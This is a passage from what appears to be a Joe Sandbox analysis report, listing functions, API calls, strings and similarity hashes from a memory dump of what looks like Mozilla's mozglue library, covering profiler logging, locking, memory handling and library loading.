free.MOZGLUE(?,6C9C008B), ref: 6C947BF2

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 71fcade67b346586e84b63a3444d5128399d1e45dde2b5b9d0f54c759aa1f3dc
Instruction ID: b7e830ed02002919a2bc9569e31b28600410df77c2b036ada9926d7083625f05
Opcode Fuzzy Hash: 71fcade67b346586e84b63a3444d5128399d1e45dde2b5b9d0f54c759aa1f3dc
Instruction Fuzzy Hash: BDC1A231E0112D8BEB248B28CC90BADB772AF51318F1587A9D51AABBC1D731DE85CF51

Function 6C989420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
__Init_thread_footer.LIBCMT ref: 6C98949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C98947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C989459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C98946B

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: b83d7fd5e987328cece2c75499157dab6238963f3b161b5096c652ca8025d942
Instruction ID: b87f81a51404f30ff00ead4b79497915c1300fd60213e65ef3fb519e79b07f15
Opcode Fuzzy Hash: b83d7fd5e987328cece2c75499157dab6238963f3b161b5096c652ca8025d942
Instruction Fuzzy Hash: E4017B70B05100CBDF00DB7CD819A4533B8EB4632CF250937EC0A87B92EB39EA64895B

Function 6C990F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C990F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C990F88
GetCurrentThreadId.KERNEL32 ref: 6C990FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C991067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9910A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C99114B

Part of subcall function 6C988AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9A1563), ref: 6C988BD5

free.MOZGLUE(?), ref: 6C991174
free.MOZGLUE(?), ref: 6C991186

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: af57d31b24abdb65f21dbf9dda421e65a1783ab031e704c5c7f61aab8edd4cc0
Instruction ID: 8a2bbcdab79e61158343ec30d60ec92753c8512df4e6d1c210581bde8364cbad
Opcode Fuzzy Hash: af57d31b24abdb65f21dbf9dda421e65a1783ab031e704c5c7f61aab8edd4cc0
Instruction Fuzzy Hash: EF61C275A083409BDB10CF25C88079AB7F9BFEA308F18891DE89957712DB31E559CB91

Function 6C94B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B6AC

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C94B61E), ref: 6C94B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C94B61E,?,?,?,?,?,00000000), ref: 6C94B79A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: fa8da97f7f61ddf91125bcfc334dcc668acda6153af36cb43841b35531f23240
Instruction ID: bc063f6ec2667b5d439b1262637a941ed905764ed3b7e9ac730a0817db084d80
Opcode Fuzzy Hash: fa8da97f7f61ddf91125bcfc334dcc668acda6153af36cb43841b35531f23240
Instruction Fuzzy Hash: DF41C5B2D005159FCB04DF68DC905AFB7B9BF54324F254629E825E7B80E731E9148BD1

Function 6C94EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9C5104), ref: 6C94EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C94EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C94EFEC
free.MOZGLUE(?), ref: 6C94F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C94F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C94F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C94F065
moz_xmalloc.MOZGLUE ref: 6C94F072

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 7f0b06c05bd2c4401fb65abd7404d41cb1bc46f963921907dc778529ea470e90
Instruction ID: 54931a4a19d42d6a95647bf470a395a85955b114bb4b4158e8f4521a56cfe8fd
Opcode Fuzzy Hash: 7f0b06c05bd2c4401fb65abd7404d41cb1bc46f963921907dc778529ea470e90
Instruction Fuzzy Hash: 3C41D7B1A002069FCB08CF68D8909BF7769BF95318B24462CE815DB794EB71E915C7E1

Function 6C9BB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9BB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9BB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9BB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9BB5F4
__Init_thread_footer.LIBCMT ref: 6C9BB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9BB61F
std::_Facet_Register.LIBCPMT ref: 6C9BB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BB655

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 70d648417d07f3442c2db96d1644467b9731c36292381c8cc85229f432a54b12
Instruction ID: 7573a20c6fffa941425a63c37a98d68ff1c69f0439ebe54eb6d683f56deea2be
Opcode Fuzzy Hash: 70d648417d07f3442c2db96d1644467b9731c36292381c8cc85229f432a54b12
Instruction Fuzzy Hash: 4C31A771B04205DBCF10DF69C8989AEB7B5FF99325B240515D906A7780DB30EA4ACFD2

Function 6C959830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9A7ABE), ref: 6C95985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9A7ABE), ref: 6C9598A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C959909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C959918
free.MOZGLUE(?), ref: 6C959975

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 6c6c0d55f1dd748c129568b4adc859feadce7573ea166ba18827a532c42f3ca1
Instruction ID: 748725de895be79a4bb818d2efccbe9aa81d119c0d005a7f10d3a731a2e8d37d
Opcode Fuzzy Hash: 6c6c0d55f1dd748c129568b4adc859feadce7573ea166ba18827a532c42f3ca1
Instruction Fuzzy Hash: 9C71BCB46047068FD725CF28C490966B7F5FF4A328BA54AADD85A8BB90D331F812CB51

Function 6C95B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE,?,?,6C98DC2C), ref: 6C95B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE,?,?,6C98DC2C), ref: 6C95B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE), ref: 6C95B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C99CC83,?,?,?,?,?,?,?,?,?,6C99BCAE,?,?,6C98DC2C), ref: 6C95B896

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: a53203374129de9e27046d0cd1a9fd7f3357bff651bca933197cabeb8bcfc5fa
Instruction ID: e8282bfa29d920e2776cf145e50472b08b74d5503aa6fec5e7ded5683165fde4
Opcode Fuzzy Hash: a53203374129de9e27046d0cd1a9fd7f3357bff651bca933197cabeb8bcfc5fa
Instruction Fuzzy Hash: 87518B757046048FCB14CF59C594A2ABBF9FF89318FA9859DEA8A97341C731EC11CB80

Function 6C991D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C991D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C991BE3,?,?,6C991D96,00000000), ref: 6C991D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C991BE3,?,?,6C991D96,00000000), ref: 6C991D4C
GetCurrentThreadId.KERNEL32 ref: 6C991DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C991DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C991DDA

Part of subcall function 6C991EF0: GetCurrentThreadId.KERNEL32 ref: 6C991F03
Part of subcall function 6C991EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C991DF2,00000000,00000000), ref: 6C991F0C
Part of subcall function 6C991EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C991F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C991DF4

Part of subcall function 6C95CA10: malloc.MOZGLUE(?), ref: 6C95CA26

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: e31009b5852d04f63415b10edc7f8f56c60068b50780f588c7d774e7173f00f4
Instruction ID: 649709f1a8966d7b26ab9098dabdf5c339d0870affd2f40079732c87280a980a
Opcode Fuzzy Hash: e31009b5852d04f63415b10edc7f8f56c60068b50780f588c7d774e7173f00f4
Instruction Fuzzy Hash: DB4189B5205700AFCB10DF28C488A56BBF9FF99718F24442EE95A87B41CB31F954CB91

Function 6C9538A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9CE220,?,?,?,?,6C953899,?), ref: 6C9538B2
ReleaseSRWLockExclusive.KERNEL32(6C9CE220,?,?,?,6C953899,?), ref: 6C9538C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C953899,?), ref: 6C9538F1
RtlFreeHeap.NTDLL ref: 6C953920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C953899,?), ref: 6C95392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C953899,?), ref: 6C953943
RtlFreeHeap.NTDLL ref: 6C95396E

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 30392a40ca462f51321718fa15678988349c0d63e221219ae29c8cdcb56f81c4
Instruction ID: c9fa8a9899dc1a568ef002dfef1e94ff77461413e6cd35539626467ebb2e7720
Opcode Fuzzy Hash: 30392a40ca462f51321718fa15678988349c0d63e221219ae29c8cdcb56f81c4
Instruction Fuzzy Hash: 472124B2600714EFD720DF25C880B96B7B9FF55328F658469E96AA7B10C730F985CB90

Function 6C9884E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9884F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9885AC

Part of subcall function 6C987670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C98767F
Part of subcall function 6C987670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C987693
Part of subcall function 6C987670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9885B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9876A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9885B2

Part of subcall function 6C965E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C965EDB
Part of subcall function 6C965E90: memset.VCRUNTIME140(6C9A7765,000000E5,55CCCCCC), ref: 6C965F27
Part of subcall function 6C965E90: LeaveCriticalSection.KERNEL32(?), ref: 6C965FB2

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cd00ac325d1841108043d9b753e09bb7e673fdcd3b6aee7b42cbbace5bdf4da0
Instruction ID: c9b755243feb39f4e02d2fe0e3b6277574dd6e06f81c4ff457cc97c617f2ce0e
Opcode Fuzzy Hash: cd00ac325d1841108043d9b753e09bb7e673fdcd3b6aee7b42cbbace5bdf4da0
Instruction Fuzzy Hash: A02192752016019FDB18DB24C888A5AB7B9BF4430CF244C2DE55BC3B81DB31FA59CB65

Function 6C951640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C951699
VerSetConditionMask.NTDLL ref: 6C9516CB
VerSetConditionMask.NTDLL ref: 6C9516D7
VerSetConditionMask.NTDLL ref: 6C9516DE
VerSetConditionMask.NTDLL ref: 6C9516E5
VerSetConditionMask.NTDLL ref: 6C9516EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9516F9

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 3fdb76cb76d028ee9276c956ee699a44042d6a9b812cfab4a40bc5b91b57d34b
Instruction ID: 8e54770b2637554d1a1dc82fa625995c62e8a9574cdb18ad1807d7e5f564b2e5
Opcode Fuzzy Hash: 3fdb76cb76d028ee9276c956ee699a44042d6a9b812cfab4a40bc5b91b57d34b
Instruction Fuzzy Hash: 5F21D5B07442487FEB10AB648C85FBB737CDF96704F404528F6059B6C0C674DE6487A2

Function 6C98F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97CBE8: GetCurrentProcess.KERNEL32(?,6C9431A7), ref: 6C97CBF1
Part of subcall function 6C97CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9431A7), ref: 6C97CBFA

Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C954A68), ref: 6C98945E
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C989470
Part of subcall function 6C989420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C989482
Part of subcall function 6C989420: __Init_thread_footer.LIBCMT ref: 6C98949F

GetCurrentThreadId.KERNEL32 ref: 6C98F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C98F598), ref: 6C98F621

Part of subcall function 6C9894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9894EE
Part of subcall function 6C9894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C989508

GetCurrentThreadId.KERNEL32 ref: 6C98F637
AcquireSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F645
ReleaseSRWLockExclusive.KERNEL32(6C9CF4B8,?,?,00000000,?,6C98F598), ref: 6C98F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C98F62A

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2781941411.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2782049147.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 1d953c29d354e541c66131006fc99505f29ec9b01ee7c115c6e2ac4a348afef7
Instruction ID: cf496043ee8e44423832c1574965c6fb4fd80984dc25955e11ed71305085e976
Opcode Fuzzy Hash: 1d953c29d354e541c66131006fc99505f29ec9b01ee7c115c6e2ac4a348afef7
Instruction Fuzzy Hash: 4111027230A604AFDB00AF68C8489E5777DFF9676DB201815EA0683F41CB35E921CBB1

Function 6C951FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97AB89: EnterCriticalSection.KERNEL32(6C9CE370,?,?,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284), ref: 6C97AB94
Part of subcall function 6C97AB89: LeaveCriticalSection.KERNEL32(6C9CE370,?,6C9434DE,6C9CF6CC,?,?,?,?,?,?,?,6C943284,?,?,6C9656F6), ref: 6C97ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C951FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C951FFD
__Init_thread_footer.LIBCMT ref: 6C952011
FreeLibrary.KERNEL32 ref: 6C952059

Strings

CoCreateInstance, xrefs: 6C951FF7
combase.dll, xrefs: 6C951FD9

Memory Dump Source

Source File: 00000000.00000002.2779308817.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2779234524.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2780706199.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
